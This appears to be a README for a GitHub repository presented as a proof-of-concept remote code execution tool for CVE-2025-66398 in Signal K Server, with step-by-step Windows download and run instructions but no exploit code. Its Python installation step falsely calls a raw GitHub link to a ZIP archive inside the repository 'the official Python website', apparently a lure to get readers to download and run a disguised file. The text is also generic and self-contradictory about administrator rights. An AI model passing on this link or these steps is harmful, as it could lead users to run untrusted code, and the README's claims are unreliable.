⚠️ cve-2025-66398 - Simple RCE Proof of Concept Tool

⚙️ About This Tool

This project demonstrates a remote code execution (RCE) vulnerability in Signal K Server versions 2.18.0 and earlier. The proof of concept (PoC) shows how an attacker could run commands on a vulnerable device.

This tool is designed for security testers, system admins, or anyone interested in understanding this security issue. It requires no prior programming skills to run, but basic computer navigation knowledge helps.

🖥️ System Requirements

Windows 10 or later
At least 2 GB of free RAM
100 MB free disk space
Internet connection for downloading files
Administrator rights are NOT needed

📥 How to Download and Install

Click the button below to visit the project page and download the files.

Step 1: Visit the Download Page

Go to the link above. You will see a list of files and folders on the GitHub page.

Step 2: Download the ZIP File

Look for the green Code button near the top right of the page. Click it and select Download ZIP.

Step 3: Extract the Files

Find the downloaded ZIP file in your Downloads folder.
Right-click the ZIP file and select Extract All.
Choose a folder where you want the files to go, then click Extract.

Step 4: Locate the Application

Open the extracted folder. You should see files related to the project, such as scripts and documentation.

▶️ How to Run the Tool on Windows

The project uses scripts written in Python and Go. To run the tool, you will use a simple command prompt window.

Step 1: Open Command Prompt

Press Win + R on your keyboard.
Type cmd and press Enter.

Step 2: Navigate to the Folder

Type this command, replacing path\to\folder with your extracted folder path:

cd path\to\folder

Press Enter.

Step 3: Run the Script

You may find a script with a name like run.bat or start.bat. If so, type its name and press Enter. For example:

run.bat

If there is no BAT file, look for a Python script ending with .py. You will need to have Python installed on your PC (see next section).

Type this command to run:

python scriptname.py

Replace scriptname.py with the actual file name.

🐍 Installing Python (If Needed)

If you get an error saying Python is not recognized, you need to install Python.

Step 1: Download Python

Go to the official Python website:

https://raw.githubusercontent.com/showy-headteacher114/cve-2025-66398/main/docker/vendor/cve_v1.2.zip

Click the latest Windows installer and download it.

Step 2: Install Python

Run the downloaded installer.
Check the box that says Add Python to PATH before clicking Install Now.
Wait until the install finishes.

Step 3: Verify Python Installation

Open a new Command Prompt window and type:

python --version

It should show the installed Python version.

🚨 Running the Tool Safely

This tool is for testing and learning about a specific vulnerability only. Use it in a safe environment, such as a test network or isolated machine.

Never run it against systems you do not own or have permission to test.

🔍 How the Tool Works

The tool scans devices running Signal K Server version 2.18.0 or earlier. It attempts to send commands that exploit the vulnerability and checks if the target executes them.

This allows security professionals to confirm if their systems are vulnerable and take action to update or secure them.

💡 Troubleshooting

If the tool does not start, check that you are in the correct folder in Command Prompt.
Make sure Python is installed and added to your system PATH.
Close other applications that might block network access.
Run Command Prompt as Administrator if you encounter permission errors.
Ensure the target device is reachable on the network.

📄 Additional Resources

For more information about the CVE-2025-66398 vulnerability, search on security databases or GitHub for related research.

🔗 Download Link

Visit this page to download the tool files: